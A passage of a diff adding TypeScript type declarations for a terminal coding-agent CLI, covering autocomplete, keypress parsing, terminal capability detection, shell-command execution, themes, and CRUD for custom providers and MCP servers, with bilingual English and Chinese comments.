+ * 用于 UI 绑定的自动补全状态
+ */
+interface AutocompleteState {
+    /** Whether dropdown is visible - 下拉框是否可见 */
+    visible: boolean;
+    /** Current selected index - 当前选中索引 */
+    selectedIndex: number;
+    /** Current completions - 当前补全列表 */
+    completions: Completion[];
+    /** Whether completions are loading - 补全是否正在加载 */
+    loading: boolean;
+}
+/**
+ * Options for AutocompleteProvider
+ * AutocompleteProvider 的配置选项
+ */
+interface AutocompleteProviderOptions {
+    /** Working directory for file completion - 文件补全的工作目录 */
+    cwd?: string;
+    /** Git root for skill discovery - 技能发现的 Git 根目录 */
+    gitRoot?: string;
+    /** Debounce delay in ms (default: 100) - 防抖延迟（默认：100ms） */
+    debounceDelay?: number;
+    /** Minimum characters to trigger (default: 1) - 触发的最小字符数（默认：1） */
+    minTriggerChars?: number;
+    /** Maximum completions to show (default: 10) - 最大显示补全数（默认：10） */
+    maxCompletions?: number;
+    /** Minimum score threshold for fuzzy match (default: 0) - 模糊匹配的最低评分阈值（默认：0） */
+    minScore?: number;
+}
+/**
+ * Internal options type with required defaults
+ * 内部选项类型，包含必需的默认值
+ */
+type InternalOptions = Required<Omit<AutocompleteProviderOptions, 'cwd' | 'gitRoot'>> & Pick<AutocompleteProviderOptions, 'cwd' | 'gitRoot'>;
+/**
+ * Autocomplete Provider - Main orchestrator for autocomplete
+ * 自动补全提供者 - 自动补全的主要协调器
+ */
+declare class AutocompleteProvider {
+    private completers;
+    private options;
+    private state;
+    private listeners;
+    private debounceTimer;
+    private lastInput;
+    private lastCursorPos;
+    constructor(options?: AutocompleteProviderOptions);
+    /**
+     * Get current options
+     * 获取当前选项
+     */
+    getOptions(): InternalOptions;
+    /**
+     * Get current state
+     * 获取当前状态
+     */
+    getState(): AutocompleteState;
+    /**
+     * Subscribe to state changes
+     * 订阅状态变化
+     */
+    subscribe(listener: (state: AutocompleteState) => void): () => void;
+    /**
+     * Update options (e.g., when changing directories)
+     * 更新选项（如切换目录时）
+     */
+    updateOptions(options: Partial<AutocompleteProviderOptions>): void;
+    /**
+     * Handle input change (auto-trigger with debounce)
+     * 处理输入变化（带防抖的自动触发）
+     */
+    handleInput(input: string, cursorPos: number): void;
+    /**
+     * Immediately fetch completions (for Tab key)
+     * 立即获取补全（用于 Tab 键）
+     */
+    fetchImmediate(input: string, cursorPos: number): Promise<Completion[]>;
+    /**
+     * Move selection up
+     * 向上移动选择
+     */
+    selectPrevious(): void;
+    /**
+     * Move selection down
+     * 向下移动选择
+     */
+    selectNext(): void;
+    /**
+     * Get currently selected completion
+     * 获取当前选中的补全
+     */
+    getSelectedCompletion(): Completion | null;
+    /**
+     * Accept selected completion (returns replacement text)
+     * 接受选中的补全（返回替换文本）
+     */
+    acceptCompletion(): string | null;
+    /**
+     * Accept selected completion with type info (for smart replacement)
+     * 接受选中的补全并返回类型信息（用于智能替换）
+     */
+    acceptCompletionWithType(): {
+        text: string;
+        type: Completion['type'];
+    } | null;
+    /**
+     * Cancel/hide autocomplete
+     * 取消/隐藏自动补全
+     */
+    cancel(): void;
+    /**
+     * Check if autocomplete should trigger
+     * 检查自动补全是否应该触发
+     */
+    private shouldTrigger;
+    /**
+     * Fetch completions (debounced handler)
+     * 获取补全（防抖处理器）
+     */
+    private fetchCompletions;
+    /**
+     * Internal completion fetching logic
+     * 内部补全获取逻辑
+     */
+    private fetchCompletionsInternal;
+    /**
+     * Extract search pattern from input
+     * 从输入中提取搜索模式
+     */
+    private extractPattern;
+    /**
+     * Update state and notify listeners
+     * 更新状态并通知监听器
+     */
+    private updateState;
+}
+
+/**
+ * useAutocomplete - Autocomplete integration hook - 自动补全集成 Hook
+ *
+ * Provides autocomplete state management and keyboard handling for input components.
+ * 为输入组件提供自动补全状态管理和键盘处理。
  *
  * Usage:
- * ```ts
- * import { loadConfig, FileSessionStorage } from '@kodax-ai/kodax/repl';
+ * 1. Call useAutocomplete with text/cursor state
+ * 2. Render autocompleteSuggestions below input
+ * 3. Handle Tab/Enter for selection in keypress handler
+ */
+
+/**
+ * Context value type (extends UseAutocompleteReturn)
+ * 上下文值类型（扩展 UseAutocompleteReturn）
+ */
+interface AutocompleteContextValue extends UseAutocompleteReturn {
+}
+/**
+ * AutocompleteContextProvider - provides autocomplete state to children
+ * AutocompleteContextProvider - 为子组件提供自动补全状态
+ *
+ * Usage: Wrap your app or component tree with this provider
+ * 用法: 用此 provider 包装你的应用或组件树
+ */
+declare function AutocompleteContextProvider({ children, cwd, gitRoot, }: {
+    children: ReactNode;
+    cwd?: string;
+    gitRoot?: string;
+}): React.ReactElement;
+/**
+ * useAutocompleteContext - access autocomplete context from parent component
+ * useAutocompleteContext - 从父组件访问自动补全上下文
+ *
+ * Use this in InkREPL to render SuggestionsDisplay outside InputPrompt
+ * 在 InkREPL 中使用此 hook 在 InputPrompt 外部渲染 SuggestionsDisplay
+ */
+declare function useAutocompleteContext(): AutocompleteContextValue | null;
+/**
+ * Options for useAutocomplete hook
+ * useAutocomplete hook 的选项
+ */
+interface UseAutocompleteOptions {
+    /** Working directory for file completion - 文件补全的工作目录 */
+    cwd?: string;
+    /** Git root for skill discovery - 技能发现的 Git 根目录 */
+    gitRoot?: string;
+    /** Whether autocomplete is enabled - 是否启用自动补全 */
+    enabled?: boolean;
+}
+/**
+ * Selected completion with type info for replacement logic
+ * 带类型信息的选中补全，用于替换逻辑
+ */
+interface SelectedCompletion {
+    /** Replacement text - 替换文本 */
+    text: string;
+    /** Completion type - 补全类型 */
+    type: 'command' | 'argument' | 'file' | 'skill';
+}
+/**
+ * Return type for useAutocomplete hook
+ * useAutocomplete hook 的返回类型
+ */
+interface UseAutocompleteReturn {
+    /** Current autocomplete state - 当前自动补全状态 */
+    state: AutocompleteState;
+    /** Suggestions for display (converted to Suggestion format) - 用于显示的建议（转换为 Suggestion 格式） */
+    suggestions: Suggestion[];
+    /** Handle input change - 处理输入变化 */
+    handleInput: (text: string, cursorPos: number) => void;
+    /** Handle Tab key - returns selected completion or null - 处理 Tab 键 - 返回选中的补全或 null */
+    handleTab: () => SelectedCompletion | null;
+    /** Handle Enter key when dropdown visible - returns selected completion or null - 处理下拉框可见时的 Enter 键 - 返回选中的补全或 null */
+    handleEnter: () => SelectedCompletion | null;
+    /** Handle up arrow - 处理上箭头 */
+    handleUp: () => void;
+    /** Handle down arrow - 处理下箭头 */
+    handleDown: () => void;
+    /** Handle Escape key - 处理 Escape 键 */
+    handleEscape: () => void;
+    /** Cancel autocomplete - 取消自动补全 */
+    cancel: () => void;
+    /** Get provider instance (for advanced usage) - 获取提供者实例（高级用法） */
+    getProvider: () => AutocompleteProvider;
+}
+/**
+ * useAutocomplete hook
+ *
+ * Integrates autocomplete provider with React component state.
+ * 将自动补全提供者与 React 组件状态集成。
+ *
+ * If called without options and within AutocompleteContextProvider, uses context.
+ * Otherwise creates a new provider instance.
+ * 如果不带选项调用且在 AutocompleteContextProvider 内，使用 context。
+ * 否则创建新的 provider 实例。
+ */
+declare function useAutocomplete(options?: UseAutocompleteOptions): UseAutocompleteReturn;
+
+/**
+ * FEATURE_159 (v0.7.40) — `useQueuedPrompts` hook.
+ *
+ * Subscribes a React component to the agent-side MessageQueue and
+ * returns the filtered slice of main-thread user-priority prompts —
+ * the same slice REPL renders as "Queue N" / "Queued follow-ups: N".
+ *
+ * Implementation contract:
+ *   - Single source of truth = `MessageQueue`. The hook does not mirror
+ *     state into React — it subscribes and returns the queue's frozen
+ *     snapshot (filtered).
+ *   - `useSyncExternalStore` handles consistency across concurrent
+ *     React renders. The hook obeys React 18's tearing-prevention
+ *     guarantees because `getSnapshot()` returns a reference-stable
+ *     frozen array.
+ *   - The filter excludes subagent-scoped messages (`agentId !== undefined`)
+ *     and background-priority entries (task-notifications). Adding new
+ *     surfaces (e.g. queued bash commands when KodaX gains a bash-mode
+ *     escape) means adding a separate hook with a different filter, not
+ *     overloading this one.
+ *
+ * Why a separate hook instead of just reading `streamingState.pendingInputs`:
+ *   - `streamingState.pendingInputs` is a derived mirror maintained by
+ *     `StreamingContext`'s queue subscription. New components / non-Ink
+ *     consumers (SDK callers wrapped in React) can use this hook
+ *     directly without taking a dependency on StreamingContext.
+ *   - Per-call filter is fast (queue size ≤ MAX_PENDING_INPUTS = 5 for
+ *     prompts in practice); useMemo / re-filter is acceptable.
+ */
+
+/**
+ * Subscribe to main-thread user-priority prompt slice of the
+ * MessageQueue. Returns a stable snapshot — safe to use as a `useEffect`
+ * dep or pass to a memoized child.
+ */
+declare function useQueuedPrompts(): readonly QueuedMessage[];
+/**
+ * Variant returning just the content strings — convenience for the
+ * common case where the consumer doesn't care about ids / timestamps.
+ */
+declare function useQueuedPromptContents(): readonly string[];
+/**
+ * Test-only reset hook for the module-level filtered-snapshot cache.
+ * Production code must not call this. Used by tests that reset the
+ * process-global MessageQueue singleton between cases.
+ */
+declare function _resetQueuedPromptsCacheForTests(): void;
+
+/**
+ * Text Utilities - LRU Cache + Code Point Utilities - 文本工具：LRU 缓存 + Code Point 工具
+ *
+ * Provides text processing utilities including: - 提供文本处理相关的工具函数，包括：
+ * - LRU cache for caching computation results - LRU 缓存用于缓存计算结果
+ * - Unicode code point processing functions - Unicode code point 处理函数
+ * - Visual width calculation - 视觉宽度计算
+ */
+/**
+ * LRU (Least Recently Used) Cache - 最近最少使用缓存
+ * Used to cache text processing results and avoid repeated computation - 用于缓存文本处理结果，避免重复计算
+ */
+declare class LRUCache<K, V> {
+    private capacity;
+    private cache;
+    constructor(capacity: number);
+    /**
+     * Get cached value and update LRU order - 获取缓存值，并更新 LRU 顺序
+     */
+    get(key: K): V | undefined;
+    /**
+     * Set cached value - 设置缓存值
+     */
+    set(key: K, value: V): void;
+    /**
+     * Check if key exists - 检查 key 是否存在
+     */
+    has(key: K): boolean;
+    /**
+     * Delete key - 删除 key
+     */
+    delete(key: K): boolean;
+    /**
+     * Clear cache - 清空缓存
+     */
+    clear(): void;
+    /**
+     * Get current size - 获取当前大小
+     */
+    get size(): number;
+}
+/**
+ * Get code point length of a string - 获取字符串的 code point 长度
+ * Properly handles emoji and other multi-byte characters - 正确处理 emoji 和其他多字节字符
+ */
+declare function getCodePointLength(str: string): number;
+/**
+ * Check if a character is a wide character (CJK or emoji) - 判断字符是否为宽字符（CJK 或 emoji）
+ */
+declare function isWideChar(char: string): boolean;
+/**
+ * Get visual width of a string - 获取字符串的视觉宽度
+ * ASCII = 1, CJK/emoji = 2 - ASCII = 1, CJK/emoji = 2
+ */
+declare function getVisualWidth(str: string): number;
+/**
+ * Get character at specified code point position (grapheme cluster) - 获取指定 code point 位置的字符（grapheme cluster）
+ */
+declare function getCharAtCodePoint(str: string, index: number): string;
+/**
+ * Split string by code points - 按 code point 分割字符串
+ */
+declare function splitByCodePoints(str: string): string[];
+/**
+ * Truncate string by visual width - 按视觉宽度截断字符串
+ */
+declare function truncateByVisualWidth(str: string, maxWidth: number, addEllipsis?: boolean): string;
+/**
+ * Visual width calculation cache - 视觉宽度计算缓存
+ */
+declare const visualWidthCache: LRUCache<string, number>;
+/**
+ * Cached version of visual width calculation - 缓存版本的视觉宽度计算
+ */
+declare function getVisualWidthCached(str: string): number;
+/**
+ * Visual layout interface - 视觉布局接口
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
+ */
+interface VisualLayout {
+    /** All visual lines for rendering - 所有视觉行（用于渲染） */
+    visualLines: string[];
+    /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
+    logicalToVisualMap: Array<Array<[number, number]>>;
+    /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
+    visualToLogicalMap: Array<[number, number]>;
+}
+/**
+ * Calculate visual line wrapping - 计算视觉行换行
+ * Reference: Gemini CLI text-buffer.ts - calculateLayout
+ *
+ * @param logicalLines - Array of logical lines (split by \n) - 逻辑行数组（按 \n 分割）
+ * @param viewportWidth - Terminal width for wrapping - 终端宽度（用于换行）
+ * @param cursorRow - Current logical cursor row - 当前逻辑光标行
+ * @param cursorCol - Current logical cursor column - 当前逻辑光标列
+ * @returns VisualLayout with visual lines and coordinate mappings - 视觉布局，包含视觉行和坐标映射
+ */
+declare function calculateVisualLayout(logicalLines: string[], viewportWidth: number, cursorRow: number, cursorCol: number): VisualLayout;
+/**
+ * Calculate visual cursor position from layout - 从布局计算视觉光标位置
+ * Reference: Gemini CLI text-buffer.ts - calculateVisualCursorFromLayout
+ *
+ * @param layout - Visual layout to use for calculation - 用于计算的视觉布局
+ * @param logicalCursor - [logicalRow, logicalCol] - 逻辑光标 [行, 列]
+ * @returns [visualRow, visualCol] - Visual cursor [行, 列]
+ */
+declare function calculateVisualCursorFromLayout(layout: VisualLayout, logicalCursor: [number, number]): [number, number];
+
+interface TerminalCapabilities {
+    trueColor: boolean;
+    colors256: boolean;
+    unicode: boolean;
+    emoji: boolean;
+    tty: boolean;
+    columns: number;
+    screenReader: boolean;
+}
+declare function supportsTrueColor(): boolean;
+declare function supports256Colors(): boolean;
+declare function supportsUnicode(): boolean;
+declare function supportsEmoji(): boolean;
+declare function getTerminalWidth(): number;
+declare function isScreenReader(): boolean;
+declare function detectTerminalCapabilities(): TerminalCapabilities;
+
+type TerminalRenderHost = "native_vt" | "xtermjs_host" | "degraded_vt" | "remote_conpty_host" | "unsupported_control_host" | "tmux_control_mode";
+type TerminalHostProfile = TerminalRenderHost;
+type TuiRendererMode = "auto" | "legacy" | "owned";
+type EffectiveTuiRendererMode = Exclude<TuiRendererMode, "auto">;
+type InteractiveSurfacePreference = "ink" | "classic";
+interface TerminalHostDetectionOptions {
+    env?: NodeJS.ProcessEnv;
+    platform?: NodeJS.Platform;
+    isTTY?: boolean;
+    rawModeSupported?: boolean;
+    tmuxControlMode?: boolean;
+}
+interface TerminalHostCapabilities {
+    profile: TerminalRenderHost;
+    ownsViewportByDefault: boolean;
+    supportsMouseTracking: boolean;
+    bufferingMode: "live" | "buffered-fallback";
+    supportsFullscreenLayout: boolean;
+    supportsOverlaySurface: boolean;
+    supportsSelection: boolean;
+    supportsCopyOnSelect: boolean;
+    supportsWheelHistory: boolean;
+    supportsViewportChrome: boolean;
+    supportsSearchViewport: boolean;
+    supportsStickyPrompt: boolean;
+}
+interface FullscreenPolicy {
+    enabled: boolean;
+    promptShell: "virtual" | "main-screen";
+    transcriptShell: "virtual" | "main-screen";
+    mouseWheel: boolean;
+    mouseClicks: boolean;
+    streamingPreview: boolean;
+    transcriptSpinnerAnimation: boolean;
+}
+declare function isVsCodeTerminalHostEnv(env?: NodeJS.ProcessEnv): boolean;
+declare function hasCursorUpViewportYankRisk(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
+declare function isRemoteConptyHost(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
+declare function hasMainScreenRenderScrollRisk(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
+declare function isTmuxControlMode(options?: Pick<TerminalHostDetectionOptions, "env" | "platform" | "tmuxControlMode">): boolean;
+declare function resetTmuxControlModeProbeForTesting(): void;
+declare function detectTerminalRenderHost(options?: TerminalHostDetectionOptions): TerminalRenderHost;
+declare const detectTerminalHostProfile: typeof detectTerminalRenderHost;
+declare function resolveConfiguredTuiRendererMode(options?: Pick<TerminalHostDetectionOptions, "env">): TuiRendererMode;
+declare function resolveEffectiveTuiRendererMode(options?: TerminalHostDetectionOptions): EffectiveTuiRendererMode;
+declare function resolveInteractiveSurfacePreference(options?: TerminalHostDetectionOptions): InteractiveSurfacePreference;
+declare function resolveFullscreenPolicy(host: TerminalRenderHost, rendererMode?: EffectiveTuiRendererMode, options?: Pick<TerminalHostDetectionOptions, "env">): FullscreenPolicy;
+declare function getTerminalHostCapabilities(profile: TerminalRenderHost, options?: {
+    rendererMode?: EffectiveTuiRendererMode;
+    env?: NodeJS.ProcessEnv;
+}): TerminalHostCapabilities;
+declare function isOwnedRendererPreferred(options?: TerminalHostDetectionOptions): boolean;
+declare function isClassicReplForced(options?: Pick<TerminalHostDetectionOptions, "env">): boolean;
+
+/**
+ * Console Capturer - Console output capturer - 控制台输出捕获器
+ *
+ * Captures console.log output for correct display in Ink render tree - 捕获 console.log 输出，用于在 Ink 渲染树中正确显示
+ * Resolves rendering position issues caused by Ink patchConsole (Issue 040, 045) - 解决 Ink patchConsole 导致的渲染位置问题（Issue 040, 045）
+ *
+ * Extracted from InkREPL.tsx to improve code organization - 从 InkREPL.tsx 提取以改善代码组织
+ */
+/**
+ * Console capturer - 控制台捕获器
+ *
+ * Temporarily intercepts console.log to collect output - 临时拦截 console.log，收集输出内容
+ * Must call stop() after use to restore original console.log - 使用后必须调用 stop() 恢复原始 console.log
+ *
+ * @example
+ * ```typescript
+ * const capturer = new ConsoleCapturer();
+ * capturer.start();
+ *
+ * // ... some code calls console.log ...
+ * // ... 某些代码调用 console.log ...
+ * console.log("Hello", "world");
+ *
+ * const output = capturer.stop();
+ * console.log(output); // ["Hello world"]
  * ```
+ */
+declare class ConsoleCapturer {
+    private captured;
+    private originalLog;
+    /**
+     * Start capturing console.log - 开始捕获 console.log
+     */
+    start(): void;
+    /**
+     * Stop capturing and return captured content - 停止捕获并返回捕获的内容
+     */
+    stop(): string[];
+    /**
+     * Get captured content without stopping capture - 获取已捕获的内容（不停止捕获）
+     */
+    getCaptured(): string[];
+    /**
+     * Clear captured content - 清空已捕获的内容
+     */
+    clear(): void;
+}
+/**
+ * Execute function with capturer - 使用捕获器执行函数
+ *
+ * @param fn - Function to execute - 要执行的函数
+ * @returns Captured output and function return value - 捕获的输出和函数返回值
+ */
+declare function withCapture<T>(fn: () => Promise<T>): Promise<{
+    result: T;
+    captured: string[];
+}>;
+/**
+ * Execute synchronous function with capturer - 使用捕获器执行同步函数
+ */
+declare function withCaptureSync<T>(fn: () => T): {
+    result: T;
+    captured: string[];
+};
+
+/**
+ * Build the retry info history item shown during automatic provider retries.
+ * Keeping this out of InkREPL makes the regression easy to test and avoids
+ * falling back to console.log, which gets captured and deferred.
+ */
+declare function createRetryHistoryItem(reason: string, attempt: number, maxAttempts: number): CreatableHistoryItem;
+declare function emitRetryHistoryItem(addHistoryItem: (item: CreatableHistoryItem) => void, reason: string, attempt: number, maxAttempts: number): void;
+/**
+ * Build a recovery history item from a structured ProviderRecoveryEvent.
+ */
+declare function createRecoveryHistoryItem(event: ProviderRecoveryEvent): CreatableHistoryItem;
+declare function emitRecoveryHistoryItem(addHistoryItem: (item: CreatableHistoryItem) => void, event: ProviderRecoveryEvent): void;
+
+/**
+ * Utilities for extracting message content for history rendering, copy, and previews.
+ */
+
+/**
+ * Extract plain text from message content.
+ * Thinking/tool blocks are omitted so callers get only visible assistant text.
+ */
+declare function extractTextContent(content: string | readonly unknown[]): string;
+/**
+ * Extract a session title from the first user message.
+ */
+declare function extractTitle(messages: KodaXMessage[]): string;
+/**
+ * Format a single-line preview for session lists.
+ */
+declare function formatMessagePreview(content: string, maxLength?: number): string;
+
+/**
+ * Shell Executor - Shell command executor - Shell 命令执行器
+ *
+ * Handles !command syntax, executes shell commands and returns results - 处理 !command 语法，执行 Shell 命令并返回结果
+ * Extracted from InkREPL.tsx to improve code organization - 从 InkREPL.tsx 提取以改善代码组织
+ */
+/**
+ * Shell command execution configuration - Shell 命令执行配置
+ */
+interface ShellExecutorConfig {
+    maxBuffer?: number;
+    timeout?: number;
+    maxOutputLength?: number;
+    maxErrorLength?: number;
+    cwd?: string;
+}
+/**
+ * Execute shell command - 执行 Shell 命令
+ *
+ * @param command - Command to execute (without ! prefix) - 要执行的命令（不含 ! 前缀）
+ * @param config - Optional configuration - 可选配置
+ * @returns Command output or error message, formatted for LLM processing - 命令输出或错误信息，格式化为适合 LLM 处理的字符串
+ */
+declare function executeShellCommand(command: string, config?: ShellExecutorConfig): Promise<string>;
+/**
+ * Check if input is a shell command - 检查输入是否为 Shell 命令
+ */
+declare function isShellCommand(input: string): boolean;
+/**
+ * Check if shell command executed successfully - 检查 Shell 命令是否执行成功
+ */
+declare function isShellCommandSuccess(result: string): boolean;
+
+/**
+ * KeypressParser - Terminal keypress parser - 终端按键解析器
+ *
+ * Reference implementation: Gemini CLI keypress.ts - 参考实现: Gemini CLI keypress.ts
+ *
+ * Resolves Ink useInput Backspace/Delete confusion issue: - 解决 Ink useInput 的 Backspace/Delete 混淆问题：
+ * - Ink maps \x7f (ASCII 127) to delete - Ink 将 \x7f (ASCII 127) 映射为 delete
+ * - But many terminals (especially Windows) send \x7f for Backspace key - 但很多终端（尤其是 Windows）发送 \x7f 表示 Backspace 键
+ * - Real Delete key sends escape sequence \x1b[3~ - 真正的 Delete 键发送转义序列 \x1b[3~
+ *
+ * This parser's mapping rules (following Gemini CLI): - 本解析器的映射规则（参考 Gemini CLI）：
+ * - \b (ASCII 8) → backspace - \b (ASCII 8) → backspace
+ * - \x7f (ASCII 127) → backspace (not delete!) - \x7f (ASCII 127) → backspace (不是 delete!)
+ * - \x1b[3~ → real delete - \x1b[3~ → 真正的 delete
+ */
+
+/**
+ * Parse single keypress sequence - 解析单个按键序列
+ *
+ * @param sequence - Raw input sequence - 原始输入序列
+ * @param inBracketedPaste - Whether we're inside a bracketed paste (Issue 075) - 是否在粘贴模式中 (Issue 075)
+ * @returns Parsed KeyInfo object - 解析后的 KeyInfo 对象
+ */
+declare function parseKeypress(sequence: string, inBracketedPaste?: boolean): KeyInfo;
+/**
+ * Keypress parser class - 按键解析器类
+ *
+ * Used for processing terminal input streams, correctly parsing multi-byte escape sequences - 用于处理终端输入流，正确解析多字节转义序列
  *
- * See docs/ADR.md ADR-024 for the SDK formalization decision.
+ * Reference Gemini CLI's emitKeys implementation: - 参考 Gemini CLI 的 emitKeys 实现：
+ * - Does not wait for more data, processes immediately - 不等待更多数据，立即处理
+ * - Uses external timeout mechanism to handle incomplete ESC sequences - 通过外部超时机制处理不完整的 ESC 序列
+ */
+declare class KeypressParser {
+    private buffer;
+    private listeners;
+    /** Whether in timeout flush mode (handling incomplete ESC sequences) - 是否处于超时刷新模式（处理不完整的 ESC 序列） */
+    private flushing;
+    /** Whether we're inside a bracketed paste (Issue 075) - 是否在粘贴模式中 (Issue 075) */
+    private inBracketedPaste;
+    /**
+     * Issue 121: accumulator for content arriving between `paste_start` and
+     * `paste_end`. Bracketed paste from the terminal normally arrives byte-by-
+     * byte, so if we emitted per-char events downstream consumers (PasteStore
+     * threshold, Layer 1 placeholder insert) would never see the full paste
+     * in one call. We buffer insertable content here and emit ONE synthetic
+     * aggregated event at `paste_end`.
+     */
+    private pasteAccumulator;
+    /**
+     * Add keypress listener - 添加按键监听器
+     */
+    onKeypress(listener: (key: KeyInfo) => void): () => void;
+    /**
+     * Process input data - 处理输入数据
+     *
+     * @param data - Raw input data (can be Buffer or string) - 原始输入数据（可以是 Buffer 或 string）
+     * @param flush - Whether in timeout flush mode (handling incomplete ESC sequences) - 是否为超时刷新模式（处理不完整的 ESC 序列）
+     */
+    feed(data: Buffer | string, flush?: boolean): void;
+    /**
+     * Process data in buffer - 处理缓冲区中的数据
+     */
+    private processBuffer;
+    /**
+     * Flush the accumulated paste content as one synthetic keypress event.
+     * Called when `paste_end` arrives. Newlines inside the paste are preserved
+     * in the aggregated `sequence` so the buffer layer can split them normally.
+     */
+    private flushPasteAccumulator;
+    /**
+     * Extract next complete keypress sequence from buffer - 从缓冲区提取下一个完整的按键序列
+     *
+     * Key improvement (following Gemini CLI): - 关键改进（参考 Gemini CLI）：
+     * - Does not wait for more data, immediately processes known complete sequences - 不等待更多数据，立即处理已知的完整序列
+     * - For incomplete ESC sequences, relies on external timeout mechanism calling feed("", true) to flush - 对于不完整的 ESC 序列，依赖外部超时机制调用 feed("", true) 刷新
+     */
+    private extractNextSequence;
+    /**
+     * Emit keypress event to all listeners - 发送按键事件给所有监听器
+     *
+     * Issue 121: while `inBracketedPaste` is true, the parser buffers printable
+     * content + newlines into `pasteAccumulator` instead of emitting each char.
+     * `flushPasteAccumulator` then emits the whole paste as one synthetic
+     * keypress event when `paste_end` arrives. This preserves Issue 075's CRLF
+     * normalization (CR/LF both become `\n` inside the accumulator) while
+     * letting Layer 1 threshold logic see the full paste size.
+     */
+    private emit;
+    /**
+     * Clear buffer - 清空缓冲区
+     */
+    clear(): void;
+}
+/**
+ * Check if is a function key (non-character input) - 检查是否是功能键（非字符输入）
+ */
+declare function isFunctionKey(key: KeyInfo): boolean;
+/**
+ * Check if is a printable character - 检查是否是可打印字符
+ */
+declare function isPrintable(key: KeyInfo): boolean;
+/**
+ * Get display name of key - 获取按键的显示名称
+ */
+declare function getKeyDisplayName(key: KeyInfo): string;
+
+/**
+ * Dark Theme - Warp-inspired color scheme
+ *
+ * Inspired by Warp.dev terminal - 参考 Warp.dev 终端配色
+ *
+ * Key characteristics:
+ * - Deep dark background (almost black)
+ * - Cyan/teal accent for primary elements
+ * - Good contrast, soft on eyes
+ */
+
+declare const darkTheme: Theme;
+declare const minimalTheme: Theme;
+
+/**
+ * Theme System - 主题系统
+ */
+
+declare const themes: Record<string, Theme>;
+/**
+ * Get theme - 获取主题
+ */
+declare function getTheme(name?: string): Theme;
+/**
+ * Get all theme names - 获取所有主题名称
+ */
+declare function getThemeNames(): string[];
+
+/**
+ * Custom provider CRUD — v0.7.42 (closes gap 7 reported by KodaX Space).
+ *
+ * Before v0.7.42 the only way for an SDK embedder to add / remove a
+ * custom provider was to:
+ *   1. Read `~/.kodax/config.json` directly.
+ *   2. Hand-validate the entry against `KodaXCustomProviderConfig`
+ *      (Space wrote a parallel zod schema to do this).
+ *   3. Write the file back, hoping the format stayed in sync with
+ *      whatever shape the KodaX SDK currently expected.
+ *   4. Call `registerConfiguredCustomProviders` separately to
+ *      re-hydrate the in-memory registry.
+ *
+ * Space reported: "你们改格式我们就坏" (if you change the format we
+ * break). The 4-step ritual was fragile, the validation was duplicated,
+ * and the read / write / re-register split made it easy for an embedder
+ * to forget the last step and end up with a stale in-memory registry.
+ *
+ * This module exposes a tight CRUD surface — list / get / upsert /
+ * remove — that owns the file-format end-to-end. The schema is enforced
+ * via `validateCustomProviderConfig` from `@kodax-ai/llm` (the canonical
+ * validator the SDK itself uses), so embedders cannot drift away from
+ * the SDK's expected shape. Each mutation persists to `config.json` and
+ * eagerly re-registers ALL custom providers in memory so subsequent
+ * `resolveProvider(name)` calls see the new state without a process
+ * restart.
+ *
+ * Path resolution: this module resolves the config file path on EVERY
+ * call via `getAgentConfigPath('config.json')` so that programmatic
+ * `setAgentConfigHome()` overrides (e.g. for tests, substrate
+ * consumers, multi-tenant shared machines) take effect immediately —
+ * unlike the load-time-frozen `KODAX_CONFIG_FILE` constant in
+ * `common/utils.ts` that captures the path once at import time.
+ *
+ * Concurrency / multi-process: this is a single-machine, last-write-
+ * wins implementation. If two SDK consumers (KodaX CLI + KodaX Space)
+ * both mutate the same config simultaneously, the later writer's view
+ * survives. KodaX is a single-user CLI; the multi-writer surface is
+ * not a real production concern for v0.7.42. A future FEATURE could
+ * layer file locking on top of this surface without changing the
+ * caller-facing API.
+ */
+
+/**
+ * Return a snapshot of every custom provider currently persisted in
+ * `~/.kodax/config.json`. The returned array is a defensive deep copy —
+ * mutating it does NOT change the on-disk config (use
+ * {@link upsertCustomProvider} / {@link removeCustomProvider} for
+ * mutation). Order matches the file order (which is the insertion order
+ * preserved by JSON parse).
+ */
+declare function listCustomProviders(): KodaXCustomProviderConfig[];
+/**
+ * Look up a single custom provider by `name`. Returns `undefined` if no
+ * such provider is configured. Returned value is a defensive deep copy.
+ */
+declare function getCustomProviderConfig(name: string): KodaXCustomProviderConfig | undefined;
+/**
+ * Add a new custom provider OR replace an existing one with the same
+ * name. The input is validated via `validateCustomProviderConfig`; on
+ * validation failure the call throws and the config is NOT touched.
+ *
+ * After a successful write, the in-memory custom-provider registry is
+ * fully re-registered (with the new entry in place) so subsequent
+ * `resolveProvider(name)` calls see the change without a restart.
+ *
+ * Returns the deep-cloned stored shape (so callers can observe any
+ * normalization the validator performed without re-reading the file).
+ */
+declare function upsertCustomProvider(config: KodaXCustomProviderConfig): KodaXCustomProviderConfig;
+/**
+ * Remove the custom provider identified by `name`. Returns `true` when
+ * an entry was removed, `false` when no provider with that name existed
+ * (the file is then NOT rewritten — no-op for unknown names so caller
+ * code can be idempotent).
+ *
+ * The in-memory registry is re-registered after a successful removal so
+ * `resolveProvider(name)` immediately throws for the removed provider.
+ */
+declare function removeCustomProvider(name: string): boolean;
+
+/**
+ * MCP server CRUD — v0.7.42 (closes the "MCP popout" request from
+ * KodaX Space).
+ *
+ * Before v0.7.42 the only way for an SDK embedder to register a new
+ * MCP server was to:
+ *   1. Read `~/.kodax/config.json` directly.
+ *   2. Hand-build a `KodaXMcpServersConfig` entry (no exported
+ *      validator — Space wrote a parallel zod schema).
+ *   3. Write the file back, hoping `mcpServers` shape stayed in sync
+ *      with whatever the KodaX SDK currently expects.
+ *   4. Restart the runtime — the existing `McpCapabilityProvider`
+ *      caches its server list at construction time so config changes
+ *      do NOT take effect mid-process.
+ *
+ * The KodaX Space "MCP popout" panel wants step 4 OUT of the loop:
+ * users add/remove an MCP server, click "save", and have it live
+ * immediately in the next agent turn. That requires (a) a typed CRUD
+ * surface that owns the file format, and (b) an explicit re-hydrate
+ * hook so the next agent run picks up the changes.
+ *
+ * This module covers (a). The re-hydrate hook is implicit: every new
+ * substrate frame reads `loadConfig().mcpServers` at session start
+ * (see `repl/.../bootstrap` flow) — so the next `runKodaX` /
+ * `startKodaX` call sees the new list. In-flight runs continue with
+ * the snapshot the substrate took at start; that matches the
+ * pre-v0.7.42 invariant and avoids surprising tool-list mutations
+ * mid-turn.
+ *
+ * Schema: this module relies on TypeScript's structural typing against
